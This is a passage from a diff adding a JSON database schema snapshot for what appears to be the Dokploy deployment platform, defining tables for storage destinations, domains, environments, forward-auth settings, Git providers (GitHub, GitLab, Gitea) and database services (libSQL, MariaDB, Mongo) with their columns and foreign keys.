+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "accessKey": {
+ "name": "accessKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "secretAccessKey": {
+ "name": "secretAccessKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "bucket": {
+ "name": "bucket",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "region": {
+ "name": "region",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "endpoint": {
+ "name": "endpoint",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "additionalFlags": {
+ "name": "additionalFlags",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "destination_organizationId_organization_id_fk": {
+ "name": "destination_organizationId_organization_id_fk",
+ "tableFrom": "destination",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.domain": {
+ "name": "domain",
+ "schema": "",
+ "columns": {
+ "domainId": {
+ "name": "domainId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "host": {
+ "name": "host",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "https": {
+ "name": "https",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "port": {
+ "name": "port",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false,
+ "default": 3000
+ },
+ "customEntrypoint": {
+ "name": "customEntrypoint",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "path": {
+ "name": "path",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'/'"
+ },
+ "serviceName": {
+ "name": "serviceName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "domainType": {
+ "name": "domainType",
+ "type": "domainType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'application'"
+ },
+ "uniqueConfigKey": {
+ "name": "uniqueConfigKey",
+ "type": "serial",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "composeId": {
+ "name": "composeId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "customCertResolver": {
+ "name": "customCertResolver",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "previewDeploymentId": {
+ "name": "previewDeploymentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "certificateType": {
+ "name": "certificateType",
+ "type": "certificateType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'none'"
+ },
+ "internalPath": {
+ "name": "internalPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'/'"
+ },
+ "stripPath": {
+ "name": "stripPath",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "middlewares": {
+ "name": "middlewares",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "ARRAY[]::text[]"
+ },
+ "forwardAuthEnabled": {
+ "name": "forwardAuthEnabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "domain_composeId_compose_composeId_fk": {
+ "name": "domain_composeId_compose_composeId_fk",
+ "tableFrom": "domain",
+ "tableTo": "compose",
+ "columnsFrom": [
+ "composeId"
+ ],
+ "columnsTo": [
+ "composeId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "domain_applicationId_application_applicationId_fk": {
+ "name": "domain_applicationId_application_applicationId_fk",
+ "tableFrom": "domain",
+ "tableTo": "application",
+ "columnsFrom": [
+ "applicationId"
+ ],
+ "columnsTo": [
+ "applicationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "domain_previewDeploymentId_preview_deployments_previewDeploymentId_fk": {
+ "name": "domain_previewDeploymentId_preview_deployments_previewDeploymentId_fk",
+ "tableFrom": "domain",
+ "tableTo": "preview_deployments",
+ "columnsFrom": [
+ "previewDeploymentId"
+ ],
+ "columnsTo": [
+ "previewDeploymentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.environment": {
+ "name": "environment",
+ "schema": "",
+ "columns": {
+ "environmentId": {
+ "name": "environmentId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "env": {
+ "name": "env",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "projectId": {
+ "name": "projectId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "isDefault": {
+ "name": "isDefault",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "environment_projectId_project_projectId_fk": {
+ "name": "environment_projectId_project_projectId_fk",
+ "tableFrom": "environment",
+ "tableTo": "project",
+ "columnsFrom": [
+ "projectId"
+ ],
+ "columnsTo": [
+ "projectId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.forward_auth_settings": {
+ "name": "forward_auth_settings",
+ "schema": "",
+ "columns": {
+ "forwardAuthSettingsId": {
+ "name": "forwardAuthSettingsId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "authDomain": {
+ "name": "authDomain",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "baseDomain": {
+ "name": "baseDomain",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "https": {
+ "name": "https",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "certificateType": {
+ "name": "certificateType",
+ "type": "certificateType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'letsencrypt'"
+ },
+ "customCertResolver": {
+ "name": "customCertResolver",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "providerId": {
+ "name": "providerId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "forward_auth_settings_providerId_sso_provider_provider_id_fk": {
+ "name": "forward_auth_settings_providerId_sso_provider_provider_id_fk",
+ "tableFrom": "forward_auth_settings",
+ "tableTo": "sso_provider",
+ "columnsFrom": [
+ "providerId"
+ ],
+ "columnsTo": [
+ "provider_id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "forward_auth_settings_serverId_server_serverId_fk": {
+ "name": "forward_auth_settings_serverId_server_serverId_fk",
+ "tableFrom": "forward_auth_settings",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "forward_auth_settings_serverId_unique": {
+ "name": "forward_auth_settings_serverId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "serverId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.git_provider": {
+ "name": "git_provider",
+ "schema": "",
+ "columns": {
+ "gitProviderId": {
+ "name": "gitProviderId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "providerType": {
+ "name": "providerType",
+ "type": "gitProviderType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'github'"
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "sharedWithOrganization": {
+ "name": "sharedWithOrganization",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "git_provider_organizationId_organization_id_fk": {
+ "name": "git_provider_organizationId_organization_id_fk",
+ "tableFrom": "git_provider",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "git_provider_userId_user_id_fk": {
+ "name": "git_provider_userId_user_id_fk",
+ "tableFrom": "git_provider",
+ "tableTo": "user",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.gitea": {
+ "name": "gitea",
+ "schema": "",
+ "columns": {
+ "giteaId": {
+ "name": "giteaId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "giteaUrl": {
+ "name": "giteaUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'https://gitea.com'"
+ },
+ "giteaInternalUrl": {
+ "name": "giteaInternalUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "redirect_uri": {
+ "name": "redirect_uri",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "client_id": {
+ "name": "client_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "client_secret": {
+ "name": "client_secret",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitProviderId": {
+ "name": "gitProviderId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "access_token": {
+ "name": "access_token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "refresh_token": {
+ "name": "refresh_token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "scopes": {
+ "name": "scopes",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'repo,repo:status,read:user,read:org'"
+ },
+ "last_authenticated_at": {
+ "name": "last_authenticated_at",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "gitea_gitProviderId_git_provider_gitProviderId_fk": {
+ "name": "gitea_gitProviderId_git_provider_gitProviderId_fk",
+ "tableFrom": "gitea",
+ "tableTo": "git_provider",
+ "columnsFrom": [
+ "gitProviderId"
+ ],
+ "columnsTo": [
+ "gitProviderId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.github": {
+ "name": "github",
+ "schema": "",
+ "columns": {
+ "githubId": {
+ "name": "githubId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "githubAppName": {
+ "name": "githubAppName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "githubAppId": {
+ "name": "githubAppId",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "githubClientId": {
+ "name": "githubClientId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "githubClientSecret": {
+ "name": "githubClientSecret",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "githubInstallationId": {
+ "name": "githubInstallationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "githubPrivateKey": {
+ "name": "githubPrivateKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "githubWebhookSecret": {
+ "name": "githubWebhookSecret",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "githubUrl": {
+ "name": "githubUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'https://github.com'"
+ },
+ "gitProviderId": {
+ "name": "gitProviderId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "github_gitProviderId_git_provider_gitProviderId_fk": {
+ "name": "github_gitProviderId_git_provider_gitProviderId_fk",
+ "tableFrom": "github",
+ "tableTo": "git_provider",
+ "columnsFrom": [
+ "gitProviderId"
+ ],
+ "columnsTo": [
+ "gitProviderId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.gitlab": {
+ "name": "gitlab",
+ "schema": "",
+ "columns": {
+ "gitlabId": {
+ "name": "gitlabId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "gitlabUrl": {
+ "name": "gitlabUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'https://gitlab.com'"
+ },
+ "gitlabInternalUrl": {
+ "name": "gitlabInternalUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "application_id": {
+ "name": "application_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "redirect_uri": {
+ "name": "redirect_uri",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "secret": {
+ "name": "secret",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "access_token": {
+ "name": "access_token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "refresh_token": {
+ "name": "refresh_token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "group_name": {
+ "name": "group_name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitProviderId": {
+ "name": "gitProviderId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "gitlab_gitProviderId_git_provider_gitProviderId_fk": {
+ "name": "gitlab_gitProviderId_git_provider_gitProviderId_fk",
+ "tableFrom": "gitlab",
+ "tableTo": "git_provider",
+ "columnsFrom": [
+ "gitProviderId"
+ ],
+ "columnsTo": [
+ "gitProviderId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.libsql": {
+ "name": "libsql",
+ "schema": "",
+ "columns": {
+ "libsqlId": {
+ "name": "libsqlId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "databaseUser": {
+ "name": "databaseUser",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "databasePassword": {
+ "name": "databasePassword",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "sqldNode": {
+ "name": "sqldNode",
+ "type": "sqldNode",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'primary'"
+ },
+ "sqldPrimaryUrl": {
+ "name": "sqldPrimaryUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "enableNamespaces": {
+ "name": "enableNamespaces",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "dockerImage": {
+ "name": "dockerImage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "env": {
+ "name": "env",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryReservation": {
+ "name": "memoryReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryLimit": {
+ "name": "memoryLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuReservation": {
+ "name": "cpuReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuLimit": {
+ "name": "cpuLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "externalPort": {
+ "name": "externalPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "externalGRPCPort": {
+ "name": "externalGRPCPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "externalAdminPort": {
+ "name": "externalAdminPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "applicationStatus": {
+ "name": "applicationStatus",
+ "type": "applicationStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'idle'"
+ },
+ "healthCheckSwarm": {
+ "name": "healthCheckSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "restartPolicySwarm": {
+ "name": "restartPolicySwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "placementSwarm": {
+ "name": "placementSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "updateConfigSwarm": {
+ "name": "updateConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackConfigSwarm": {
+ "name": "rollbackConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "modeSwarm": {
+ "name": "modeSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "labelsSwarm": {
+ "name": "labelsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "networkSwarm": {
+ "name": "networkSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stopGracePeriodSwarm": {
+ "name": "stopGracePeriodSwarm",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "endpointSpecSwarm": {
+ "name": "endpointSpecSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "replicas": {
+ "name": "replicas",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "networkIds": {
+ "name": "networkIds",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'{}'"
+ },
+ "detachDokployNetwork": {
+ "name": "detachDokployNetwork",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "environmentId": {
+ "name": "environmentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "libsql_environmentId_environment_environmentId_fk": {
+ "name": "libsql_environmentId_environment_environmentId_fk",
+ "tableFrom": "libsql",
+ "tableTo": "environment",
+ "columnsFrom": [
+ "environmentId"
+ ],
+ "columnsTo": [
+ "environmentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "libsql_serverId_server_serverId_fk": {
+ "name": "libsql_serverId_server_serverId_fk",
+ "tableFrom": "libsql",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "libsql_appName_unique": {
+ "name": "libsql_appName_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "appName"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.mariadb": {
+ "name": "mariadb",
+ "schema": "",
+ "columns": {
+ "mariadbId": {
+ "name": "mariadbId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "databaseName": {
+ "name": "databaseName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "databaseUser": {
+ "name": "databaseUser",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "databasePassword": {
+ "name": "databasePassword",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "rootPassword": {
+ "name": "rootPassword",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "dockerImage": {
+ "name": "dockerImage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "args": {
+ "name": "args",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "env": {
+ "name": "env",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryReservation": {
+ "name": "memoryReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryLimit": {
+ "name": "memoryLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuReservation": {
+ "name": "cpuReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuLimit": {
+ "name": "cpuLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "externalPort": {
+ "name": "externalPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "applicationStatus": {
+ "name": "applicationStatus",
+ "type": "applicationStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'idle'"
+ },
+ "healthCheckSwarm": {
+ "name": "healthCheckSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "restartPolicySwarm": {
+ "name": "restartPolicySwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "placementSwarm": {
+ "name": "placementSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "updateConfigSwarm": {
+ "name": "updateConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackConfigSwarm": {
+ "name": "rollbackConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "modeSwarm": {
+ "name": "modeSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "labelsSwarm": {
+ "name": "labelsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "networkSwarm": {
+ "name": "networkSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stopGracePeriodSwarm": {
+ "name": "stopGracePeriodSwarm",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "endpointSpecSwarm": {
+ "name": "endpointSpecSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ulimitsSwarm": {
+ "name": "ulimitsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "replicas": {
+ "name": "replicas",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "environmentId": {
+ "name": "environmentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "networkIds": {
+ "name": "networkIds",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'{}'"
+ },
+ "detachDokployNetwork": {
+ "name": "detachDokployNetwork",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "mariadb_environmentId_environment_environmentId_fk": {
+ "name": "mariadb_environmentId_environment_environmentId_fk",
+ "tableFrom": "mariadb",
+ "tableTo": "environment",
+ "columnsFrom": [
+ "environmentId"
+ ],
+ "columnsTo": [
+ "environmentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mariadb_serverId_server_serverId_fk": {
+ "name": "mariadb_serverId_server_serverId_fk",
+ "tableFrom": "mariadb",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "mariadb_appName_unique": {
+ "name": "mariadb_appName_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "appName"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.mongo": {
+ "name": "mongo",
+ "schema": "",
+ "columns": {
+ "mongoId": {
+ "name": "mongoId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "databaseUser": {
+ "name": "databaseUser",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "databasePassword": {
+ "name": "databasePassword",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "dockerImage": {
+ "name": "dockerImage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'mongo:8'"
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "args": {
+ "name": "args",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "env": {
+ "name": "env",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryReservation": {
+ "name": "memoryReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryLimit": {
+ "name": "memoryLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuReservation": {
+ "name": "cpuReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuLimit": {
+ "name": "cpuLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "externalPort": {
+ "name": "externalPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "applicationStatus": {
+ "name": "applicationStatus",
+ "type": "applicationStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'idle'"
+ },
+ "healthCheckSwarm": {
+ "name": "healthCheckSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "restartPolicySwarm": {
+ "name": "restartPolicySwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "placementSwarm": {
+ "name": "placementSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "updateConfigSwarm": {
+ "name": "updateConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
